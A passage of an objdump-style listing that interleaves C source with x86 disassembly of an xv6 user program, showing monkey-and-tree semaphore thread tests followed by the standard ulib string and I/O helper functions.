1728: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
172f: 00
1730: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1737: e8 13 0d 00 00 call 244f <thread_create>
173c: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1741: a1 a8 2e 00 00 mov 0x2ea8,%eax
1746: 85 c0 test %eax,%eax
1748: 75 11 jne 175b <main+0x52a>
printAction("Failed to create a thread\n");
174a: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1751: e8 77 04 00 00 call 1bcd <printAction>
exit();
1756: e8 19 07 00 00 call 1e74 <exit>
}
while(wait()>= 0);
175b: 90 nop
175c: e8 1b 07 00 00 call 1e7c <wait>
1761: 85 c0 test %eax,%eax
1763: 79 f7 jns 175c <main+0x52b>
//Test c-4: 2 normal monkeys 3 dominant monkey (Thread creation order: D->D->D->N->N->D)
printAction("\nTest c-4: 2 normal monkeys 4 dominant monkey (Thread creation order: D->D->D->N->N->D):\n");
1765: c7 04 24 dc 27 00 00 movl $0x27dc,(%esp)
176c: e8 5c 04 00 00 call 1bcd <printAction>
sem_init(tree, 3);
1771: a1 88 2e 00 00 mov 0x2e88,%eax
1776: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
177d: 00
177e: 89 04 24 mov %eax,(%esp)
1781: e8 8f f9 ff ff call 1115 <sem_init>
tid = thread_create(dMonkey, (void *) &arg);
1786: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
178d: 00
178e: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
1795: e8 b5 0c 00 00 call 244f <thread_create>
179a: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
179f: a1 a8 2e 00 00 mov 0x2ea8,%eax
17a4: 85 c0 test %eax,%eax
17a6: 75 11 jne 17b9 <main+0x588>
printAction("Failed to create a thread\n");
17a8: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
17af: e8 19 04 00 00 call 1bcd <printAction>
exit();
17b4: e8 bb 06 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
17b9: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
17c0: 00
17c1: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
17c8: e8 82 0c 00 00 call 244f <thread_create>
17cd: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
17d2: a1 a8 2e 00 00 mov 0x2ea8,%eax
17d7: 85 c0 test %eax,%eax
17d9: 75 11 jne 17ec <main+0x5bb>
printAction("Failed to create a thread\n");
17db: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
17e2: e8 e6 03 00 00 call 1bcd <printAction>
exit();
17e7: e8 88 06 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
17ec: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
17f3: 00
17f4: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
17fb: e8 4f 0c 00 00 call 244f <thread_create>
1800: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1805: a1 a8 2e 00 00 mov 0x2ea8,%eax
180a: 85 c0 test %eax,%eax
180c: 75 11 jne 181f <main+0x5ee>
printAction("Failed to create a thread\n");
180e: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1815: e8 b3 03 00 00 call 1bcd <printAction>
exit();
181a: e8 55 06 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
181f: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1826: 00
1827: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
182e: e8 1c 0c 00 00 call 244f <thread_create>
1833: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1838: a1 a8 2e 00 00 mov 0x2ea8,%eax
183d: 85 c0 test %eax,%eax
183f: 75 11 jne 1852 <main+0x621>
printAction("Failed to create a thread\n");
1841: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1848: e8 80 03 00 00 call 1bcd <printAction>
exit();
184d: e8 22 06 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
1852: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1859: 00
185a: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1861: e8 e9 0b 00 00 call 244f <thread_create>
1866: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
186b: a1 a8 2e 00 00 mov 0x2ea8,%eax
1870: 85 c0 test %eax,%eax
1872: 75 11 jne 1885 <main+0x654>
printAction("Failed to create a thread\n");
1874: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
187b: e8 4d 03 00 00 call 1bcd <printAction>
exit();
1880: e8 ef 05 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
1885: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
188c: 00
188d: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
1894: e8 b6 0b 00 00 call 244f <thread_create>
1899: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
189e: a1 a8 2e 00 00 mov 0x2ea8,%eax
18a3: 85 c0 test %eax,%eax
18a5: 75 11 jne 18b8 <main+0x687>
printAction("Failed to create a thread\n");
18a7: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
18ae: e8 1a 03 00 00 call 1bcd <printAction>
exit();
18b3: e8 bc 05 00 00 call 1e74 <exit>
}
while(wait()>= 0);
18b8: 90 nop
18b9: e8 be 05 00 00 call 1e7c <wait>
18be: 85 c0 test %eax,%eax
18c0: 79 f7 jns 18b9 <main+0x688>
//Test c-5: 1 normal monkeys 5 dominant monkey (Thread creation order: D->D->D->N->N->D)
printAction("\nTest c-5: 1 normal monkeys 5 dominant monkey (Thread creation order: D->N->D->D->D->D):\n");
18c2: c7 04 24 38 28 00 00 movl $0x2838,(%esp)
18c9: e8 ff 02 00 00 call 1bcd <printAction>
sem_init(tree, 3);
18ce: a1 88 2e 00 00 mov 0x2e88,%eax
18d3: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
18da: 00
18db: 89 04 24 mov %eax,(%esp)
18de: e8 32 f8 ff ff call 1115 <sem_init>
tid = thread_create(dMonkey, (void *) &arg);
18e3: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
18ea: 00
18eb: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
18f2: e8 58 0b 00 00 call 244f <thread_create>
18f7: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
18fc: a1 a8 2e 00 00 mov 0x2ea8,%eax
1901: 85 c0 test %eax,%eax
1903: 75 11 jne 1916 <main+0x6e5>
printAction("Failed to create a thread\n");
1905: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
190c: e8 bc 02 00 00 call 1bcd <printAction>
exit();
1911: e8 5e 05 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
1916: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
191d: 00
191e: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1925: e8 25 0b 00 00 call 244f <thread_create>
192a: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
192f: a1 a8 2e 00 00 mov 0x2ea8,%eax
1934: 85 c0 test %eax,%eax
1936: 75 11 jne 1949 <main+0x718>
printAction("Failed to create a thread\n");
1938: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
193f: e8 89 02 00 00 call 1bcd <printAction>
exit();
1944: e8 2b 05 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
1949: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1950: 00
1951: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
1958: e8 f2 0a 00 00 call 244f <thread_create>
195d: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1962: a1 a8 2e 00 00 mov 0x2ea8,%eax
1967: 85 c0 test %eax,%eax
1969: 75 11 jne 197c <main+0x74b>
printAction("Failed to create a thread\n");
196b: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1972: e8 56 02 00 00 call 1bcd <printAction>
exit();
1977: e8 f8 04 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
197c: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1983: 00
1984: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
198b: e8 bf 0a 00 00 call 244f <thread_create>
1990: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1995: a1 a8 2e 00 00 mov 0x2ea8,%eax
199a: 85 c0 test %eax,%eax
199c: 75 11 jne 19af <main+0x77e>
printAction("Failed to create a thread\n");
199e: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
19a5: e8 23 02 00 00 call 1bcd <printAction>
exit();
19aa: e8 c5 04 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
19af: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
19b6: 00
19b7: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
19be: e8 8c 0a 00 00 call 244f <thread_create>
19c3: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
19c8: a1 a8 2e 00 00 mov 0x2ea8,%eax
19cd: 85 c0 test %eax,%eax
19cf: 75 11 jne 19e2 <main+0x7b1>
printAction("Failed to create a thread\n");
19d1: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
19d8: e8 f0 01 00 00 call 1bcd <printAction>
exit();
19dd: e8 92 04 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
19e2: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
19e9: 00
19ea: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
19f1: e8 59 0a 00 00 call 244f <thread_create>
19f6: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
19fb: a1 a8 2e 00 00 mov 0x2ea8,%eax
1a00: 85 c0 test %eax,%eax
1a02: 75 11 jne 1a15 <main+0x7e4>
printAction("Failed to create a thread\n");
1a04: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1a0b: e8 bd 01 00 00 call 1bcd <printAction>
exit();
1a10: e8 5f 04 00 00 call 1e74 <exit>
}
while(wait()>= 0);
1a15: 90 nop
1a16: e8 61 04 00 00 call 1e7c <wait>
1a1b: 85 c0 test %eax,%eax
1a1d: 79 f7 jns 1a16 <main+0x7e5>
exit();
1a1f: e8 50 04 00 00 call 1e74 <exit>
00001a24 <nMonkey>:
return 0;
}
void nMonkey(){
1a24: 55 push %ebp
1a25: 89 e5 mov %esp,%ebp
1a27: 83 ec 28 sub $0x28,%esp
sem_acquire(d);
1a2a: a1 90 2e 00 00 mov 0x2e90,%eax
1a2f: 89 04 24 mov %eax,(%esp)
1a32: e8 13 f7 ff ff call 114a <sem_acquire>
sem_signal(d);
1a37: a1 90 2e 00 00 mov 0x2e90,%eax
1a3c: 89 04 24 mov %eax,(%esp)
1a3f: e8 85 f7 ff ff call 11c9 <sem_signal>
printAction("Normal monkey begins climbing\n");
1a44: c7 04 24 94 28 00 00 movl $0x2894,(%esp)
1a4b: e8 7d 01 00 00 call 1bcd <printAction>
int i;
for(i = 0; i < 2999999; i++){
1a50: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1a57: eb 20 jmp 1a79 <nMonkey+0x55>
if(domClimbing > 0){
1a59: a1 94 2e 00 00 mov 0x2e94,%eax
1a5e: 85 c0 test %eax,%eax
1a60: 7e 13 jle 1a75 <nMonkey+0x51>
printAction("Normal monkey waits\n");
1a62: c7 04 24 b3 28 00 00 movl $0x28b3,(%esp)
1a69: e8 5f 01 00 00 call 1bcd <printAction>
i = 29999999;
1a6e: c7 45 f4 7f c3 c9 01 movl $0x1c9c37f,-0xc(%ebp)
sem_acquire(d);
sem_signal(d);
printAction("Normal monkey begins climbing\n");
int i;
for(i = 0; i < 2999999; i++){
1a75: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1a79: 81 7d f4 be c6 2d 00 cmpl $0x2dc6be,-0xc(%ebp)
1a80: 7e d7 jle 1a59 <nMonkey+0x35>
printAction("Normal monkey waits\n");
i = 29999999;
}
}
sem_acquire(d);
1a82: a1 90 2e 00 00 mov 0x2e90,%eax
1a87: 89 04 24 mov %eax,(%esp)
1a8a: e8 bb f6 ff ff call 114a <sem_acquire>
sem_signal(d);
1a8f: a1 90 2e 00 00 mov 0x2e90,%eax
1a94: 89 04 24 mov %eax,(%esp)
1a97: e8 2d f7 ff ff call 11c9 <sem_signal>
sem_acquire(tree);
1a9c: a1 88 2e 00 00 mov 0x2e88,%eax
1aa1: 89 04 24 mov %eax,(%esp)
1aa4: e8 a1 f6 ff ff call 114a <sem_acquire>
printAction("Normal monkey acquires coconut (Semaphore)\n");
1aa9: c7 04 24 c8 28 00 00 movl $0x28c8,(%esp)
1ab0: e8 18 01 00 00 call 1bcd <printAction>
for(i = 0; i < 2999999; i++);
1ab5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1abc: eb 04 jmp 1ac2 <nMonkey+0x9e>
1abe: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1ac2: 81 7d f4 be c6 2d 00 cmpl $0x2dc6be,-0xc(%ebp)
1ac9: 7e f3 jle 1abe <nMonkey+0x9a>
printAction("Normal monkey descends\n");
1acb: c7 04 24 f4 28 00 00 movl $0x28f4,(%esp)
1ad2: e8 f6 00 00 00 call 1bcd <printAction>
sem_signal(tree);
1ad7: a1 88 2e 00 00 mov 0x2e88,%eax
1adc: 89 04 24 mov %eax,(%esp)
1adf: e8 e5 f6 ff ff call 11c9 <sem_signal>
texit();
1ae4: e8 33 04 00 00 call 1f1c <texit>
00001ae9 <dMonkey>:
}
void dMonkey(){
1ae9: 55 push %ebp
1aea: 89 e5 mov %esp,%ebp
1aec: 83 ec 28 sub $0x28,%esp
sem_acquire(d);
1aef: a1 90 2e 00 00 mov 0x2e90,%eax
1af4: 89 04 24 mov %eax,(%esp)
1af7: e8 4e f6 ff ff call 114a <sem_acquire>
printAction("Dominant monkey begins climbing\n");
1afc: c7 04 24 0c 29 00 00 movl $0x290c,(%esp)
1b03: e8 c5 00 00 00 call 1bcd <printAction>
sem_acquire(p);
1b08: a1 8c 2e 00 00 mov 0x2e8c,%eax
1b0d: 89 04 24 mov %eax,(%esp)
1b10: e8 35 f6 ff ff call 114a <sem_acquire>
domClimbing++;
1b15: a1 94 2e 00 00 mov 0x2e94,%eax
1b1a: 83 c0 01 add $0x1,%eax
1b1d: a3 94 2e 00 00 mov %eax,0x2e94
sem_signal(p);
1b22: a1 8c 2e 00 00 mov 0x2e8c,%eax
1b27: 89 04 24 mov %eax,(%esp)
1b2a: e8 9a f6 ff ff call 11c9 <sem_signal>
int i = 0;
1b2f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
for(i = 0; i < 2999999; i++);
1b36: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1b3d: eb 04 jmp 1b43 <dMonkey+0x5a>
1b3f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1b43: 81 7d f4 be c6 2d 00 cmpl $0x2dc6be,-0xc(%ebp)
1b4a: 7e f3 jle 1b3f <dMonkey+0x56>
sem_acquire(tree);
1b4c: a1 88 2e 00 00 mov 0x2e88,%eax
1b51: 89 04 24 mov %eax,(%esp)
1b54: e8 f1 f5 ff ff call 114a <sem_acquire>
printAction("Dominant monkey acquires coconut (Semaphore)\n");
1b59: c7 04 24 30 29 00 00 movl $0x2930,(%esp)
1b60: e8 68 00 00 00 call 1bcd <printAction>
sem_acquire(p);
1b65: a1 8c 2e 00 00 mov 0x2e8c,%eax
1b6a: 89 04 24 mov %eax,(%esp)
1b6d: e8 d8 f5 ff ff call 114a <sem_acquire>
domClimbing--;
1b72: a1 94 2e 00 00 mov 0x2e94,%eax
1b77: 83 e8 01 sub $0x1,%eax
1b7a: a3 94 2e 00 00 mov %eax,0x2e94
sem_signal(p);
1b7f: a1 8c 2e 00 00 mov 0x2e8c,%eax
1b84: 89 04 24 mov %eax,(%esp)
1b87: e8 3d f6 ff ff call 11c9 <sem_signal>
sem_signal(d);
1b8c: a1 90 2e 00 00 mov 0x2e90,%eax
1b91: 89 04 24 mov %eax,(%esp)
1b94: e8 30 f6 ff ff call 11c9 <sem_signal>
for(i = 0; i < 2999999; i++);
1b99: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1ba0: eb 04 jmp 1ba6 <dMonkey+0xbd>
1ba2: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1ba6: 81 7d f4 be c6 2d 00 cmpl $0x2dc6be,-0xc(%ebp)
1bad: 7e f3 jle 1ba2 <dMonkey+0xb9>
printAction("Dominant monkey descends\n");
1baf: c7 04 24 5e 29 00 00 movl $0x295e,(%esp)
1bb6: e8 12 00 00 00 call 1bcd <printAction>
sem_signal(tree);
1bbb: a1 88 2e 00 00 mov 0x2e88,%eax
1bc0: 89 04 24 mov %eax,(%esp)
1bc3: e8 01 f6 ff ff call 11c9 <sem_signal>
texit();
1bc8: e8 4f 03 00 00 call 1f1c <texit>
00001bcd <printAction>:
}
void printAction(char a[]){
1bcd: 55 push %ebp
1bce: 89 e5 mov %esp,%ebp
1bd0: 83 ec 18 sub $0x18,%esp
sem_acquire(p);
1bd3: a1 8c 2e 00 00 mov 0x2e8c,%eax
1bd8: 89 04 24 mov %eax,(%esp)
1bdb: e8 6a f5 ff ff call 114a <sem_acquire>
printf(1, "%s", a);
1be0: 8b 45 08 mov 0x8(%ebp),%eax
1be3: 89 44 24 08 mov %eax,0x8(%esp)
1be7: c7 44 24 04 78 29 00 movl $0x2978,0x4(%esp)
1bee: 00
1bef: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1bf6: e8 21 04 00 00 call 201c <printf>
sem_signal(p);
1bfb: a1 8c 2e 00 00 mov 0x2e8c,%eax
1c00: 89 04 24 mov %eax,(%esp)
1c03: e8 c1 f5 ff ff call 11c9 <sem_signal>
}
1c08: c9 leave
1c09: c3 ret
1c0a: 66 90 xchg %ax,%ax
00001c0c <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1c0c: 55 push %ebp
1c0d: 89 e5 mov %esp,%ebp
1c0f: 57 push %edi
1c10: 53 push %ebx
asm volatile("cld; rep stosb" :
1c11: 8b 4d 08 mov 0x8(%ebp),%ecx
1c14: 8b 55 10 mov 0x10(%ebp),%edx
1c17: 8b 45 0c mov 0xc(%ebp),%eax
1c1a: 89 cb mov %ecx,%ebx
1c1c: 89 df mov %ebx,%edi
1c1e: 89 d1 mov %edx,%ecx
1c20: fc cld
1c21: f3 aa rep stos %al,%es:(%edi)
1c23: 89 ca mov %ecx,%edx
1c25: 89 fb mov %edi,%ebx
1c27: 89 5d 08 mov %ebx,0x8(%ebp)
1c2a: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1c2d: 5b pop %ebx
1c2e: 5f pop %edi
1c2f: 5d pop %ebp
1c30: c3 ret
00001c31 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1c31: 55 push %ebp
1c32: 89 e5 mov %esp,%ebp
1c34: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
1c37: 8b 45 08 mov 0x8(%ebp),%eax
1c3a: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
1c3d: 90 nop
1c3e: 8b 45 08 mov 0x8(%ebp),%eax
1c41: 8d 50 01 lea 0x1(%eax),%edx
1c44: 89 55 08 mov %edx,0x8(%ebp)
1c47: 8b 55 0c mov 0xc(%ebp),%edx
1c4a: 8d 4a 01 lea 0x1(%edx),%ecx
1c4d: 89 4d 0c mov %ecx,0xc(%ebp)
1c50: 0f b6 12 movzbl (%edx),%edx
1c53: 88 10 mov %dl,(%eax)
1c55: 0f b6 00 movzbl (%eax),%eax
1c58: 84 c0 test %al,%al
1c5a: 75 e2 jne 1c3e <strcpy+0xd>
;
return os;
1c5c: 8b 45 fc mov -0x4(%ebp),%eax
}
1c5f: c9 leave
1c60: c3 ret
00001c61 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1c61: 55 push %ebp
1c62: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
1c64: eb 08 jmp 1c6e <strcmp+0xd>
p++, q++;
1c66: 83 45 08 01 addl $0x1,0x8(%ebp)
1c6a: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1c6e: 8b 45 08 mov 0x8(%ebp),%eax
1c71: 0f b6 00 movzbl (%eax),%eax
1c74: 84 c0 test %al,%al
1c76: 74 10 je 1c88 <strcmp+0x27>
1c78: 8b 45 08 mov 0x8(%ebp),%eax
1c7b: 0f b6 10 movzbl (%eax),%edx
1c7e: 8b 45 0c mov 0xc(%ebp),%eax
1c81: 0f b6 00 movzbl (%eax),%eax
1c84: 38 c2 cmp %al,%dl
1c86: 74 de je 1c66 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1c88: 8b 45 08 mov 0x8(%ebp),%eax
1c8b: 0f b6 00 movzbl (%eax),%eax
1c8e: 0f b6 d0 movzbl %al,%edx
1c91: 8b 45 0c mov 0xc(%ebp),%eax
1c94: 0f b6 00 movzbl (%eax),%eax
1c97: 0f b6 c0 movzbl %al,%eax
1c9a: 29 c2 sub %eax,%edx
1c9c: 89 d0 mov %edx,%eax
}
1c9e: 5d pop %ebp
1c9f: c3 ret
00001ca0 <strlen>:
uint
strlen(char *s)
{
1ca0: 55 push %ebp
1ca1: 89 e5 mov %esp,%ebp
1ca3: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1ca6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1cad: eb 04 jmp 1cb3 <strlen+0x13>
1caf: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1cb3: 8b 55 fc mov -0x4(%ebp),%edx
1cb6: 8b 45 08 mov 0x8(%ebp),%eax
1cb9: 01 d0 add %edx,%eax
1cbb: 0f b6 00 movzbl (%eax),%eax
1cbe: 84 c0 test %al,%al
1cc0: 75 ed jne 1caf <strlen+0xf>
;
return n;
1cc2: 8b 45 fc mov -0x4(%ebp),%eax
}
1cc5: c9 leave
1cc6: c3 ret
00001cc7 <memset>:
void*
memset(void *dst, int c, uint n)
{
1cc7: 55 push %ebp
1cc8: 89 e5 mov %esp,%ebp
1cca: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1ccd: 8b 45 10 mov 0x10(%ebp),%eax
1cd0: 89 44 24 08 mov %eax,0x8(%esp)
1cd4: 8b 45 0c mov 0xc(%ebp),%eax
1cd7: 89 44 24 04 mov %eax,0x4(%esp)
1cdb: 8b 45 08 mov 0x8(%ebp),%eax
1cde: 89 04 24 mov %eax,(%esp)
1ce1: e8 26 ff ff ff call 1c0c <stosb>
return dst;
1ce6: 8b 45 08 mov 0x8(%ebp),%eax
}
1ce9: c9 leave
1cea: c3 ret
00001ceb <strchr>:
char*
strchr(const char *s, char c)
{
1ceb: 55 push %ebp
1cec: 89 e5 mov %esp,%ebp
1cee: 83 ec 04 sub $0x4,%esp
1cf1: 8b 45 0c mov 0xc(%ebp),%eax
1cf4: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1cf7: eb 14 jmp 1d0d <strchr+0x22>
if(*s == c)
1cf9: 8b 45 08 mov 0x8(%ebp),%eax
1cfc: 0f b6 00 movzbl (%eax),%eax
1cff: 3a 45 fc cmp -0x4(%ebp),%al
1d02: 75 05 jne 1d09 <strchr+0x1e>
return (char*)s;
1d04: 8b 45 08 mov 0x8(%ebp),%eax
1d07: eb 13 jmp 1d1c <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1d09: 83 45 08 01 addl $0x1,0x8(%ebp)
1d0d: 8b 45 08 mov 0x8(%ebp),%eax
1d10: 0f b6 00 movzbl (%eax),%eax
1d13: 84 c0 test %al,%al
1d15: 75 e2 jne 1cf9 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
1d17: b8 00 00 00 00 mov $0x0,%eax
}
1d1c: c9 leave
1d1d: c3 ret
00001d1e <gets>:
char*
gets(char *buf, int max)
{
1d1e: 55 push %ebp
1d1f: 89 e5 mov %esp,%ebp
1d21: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d24: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1d2b: eb 4c jmp 1d79 <gets+0x5b>
cc = read(0, &c, 1);
1d2d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1d34: 00
1d35: 8d 45 ef lea -0x11(%ebp),%eax
1d38: 89 44 24 04 mov %eax,0x4(%esp)
1d3c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1d43: e8 44 01 00 00 call 1e8c <read>
1d48: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1d4b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1d4f: 7f 02 jg 1d53 <gets+0x35>
break;
1d51: eb 31 jmp 1d84 <gets+0x66>
buf[i++] = c;
1d53: 8b 45 f4 mov -0xc(%ebp),%eax
1d56: 8d 50 01 lea 0x1(%eax),%edx
1d59: 89 55 f4 mov %edx,-0xc(%ebp)
1d5c: 89 c2 mov %eax,%edx
1d5e: 8b 45 08 mov 0x8(%ebp),%eax
1d61: 01 c2 add %eax,%edx
1d63: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d67: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1d69: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d6d: 3c 0a cmp $0xa,%al
1d6f: 74 13 je 1d84 <gets+0x66>
1d71: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d75: 3c 0d cmp $0xd,%al
1d77: 74 0b je 1d84 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d79: 8b 45 f4 mov -0xc(%ebp),%eax
1d7c: 83 c0 01 add $0x1,%eax
1d7f: 3b 45 0c cmp 0xc(%ebp),%eax
1d82: 7c a9 jl 1d2d <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1d84: 8b 55 f4 mov -0xc(%ebp),%edx
1d87: 8b 45 08 mov 0x8(%ebp),%eax
1d8a: 01 d0 add %edx,%eax
1d8c: c6 00 00 movb $0x0,(%eax)
return buf;
1d8f: 8b 45 08 mov 0x8(%ebp),%eax
}
1d92: c9 leave
1d93: c3 ret
00001d94 <stat>:
int
stat(char *n, struct stat *st)
{
1d94: 55 push %ebp
1d95: 89 e5 mov %esp,%ebp
1d97: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1d9a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1da1: 00
1da2: 8b 45 08 mov 0x8(%ebp),%eax
1da5: 89 04 24 mov %eax,(%esp)
1da8: e8 07 01 00 00 call 1eb4 <open>
1dad: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
1db0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1db4: 79 07 jns 1dbd <stat+0x29>
return -1;
1db6: b8 ff ff ff ff mov $0xffffffff,%eax
1dbb: eb 23 jmp 1de0 <stat+0x4c>
r = fstat(fd, st);
1dbd: 8b 45 0c mov 0xc(%ebp),%eax
1dc0: 89 44 24 04 mov %eax,0x4(%esp)
1dc4: 8b 45 f4 mov -0xc(%ebp),%eax
1dc7: 89 04 24 mov %eax,(%esp)
1dca: e8 fd 00 00 00 call 1ecc <fstat>
1dcf: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
1dd2: 8b 45 f4 mov -0xc(%ebp),%eax
1dd5: 89 04 24 mov %eax,(%esp)
1dd8: e8 bf 00 00 00 call 1e9c <close>
return r;
1ddd: 8b 45 f0 mov -0x10(%ebp),%eax
}
1de0: c9 leave
1de1: c3 ret
00001de2 <atoi>:
int
atoi(const char *s)
{
1de2: 55 push %ebp
1de3: 89 e5 mov %esp,%ebp
1de5: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
1de8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
1def: eb 25 jmp 1e16 <atoi+0x34>
n = n*10 + *s++ - '0';
1df1: 8b 55 fc mov -0x4(%ebp),%edx
1df4: 89 d0 mov %edx,%eax
1df6: c1 e0 02 shl $0x2,%eax
1df9: 01 d0 add %edx,%eax
1dfb: 01 c0 add %eax,%eax
1dfd: 89 c1 mov %eax,%ecx
1dff: 8b 45 08 mov 0x8(%ebp),%eax
1e02: 8d 50 01 lea 0x1(%eax),%edx
1e05: 89 55 08 mov %edx,0x8(%ebp)
1e08: 0f b6 00 movzbl (%eax),%eax
1e0b: 0f be c0 movsbl %al,%eax
1e0e: 01 c8 add %ecx,%eax
1e10: 83 e8 30 sub $0x30,%eax
1e13: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
1e16: 8b 45 08 mov 0x8(%ebp),%eax
1e19: 0f b6 00 movzbl (%eax),%eax
1e1c: 3c 2f cmp $0x2f,%al
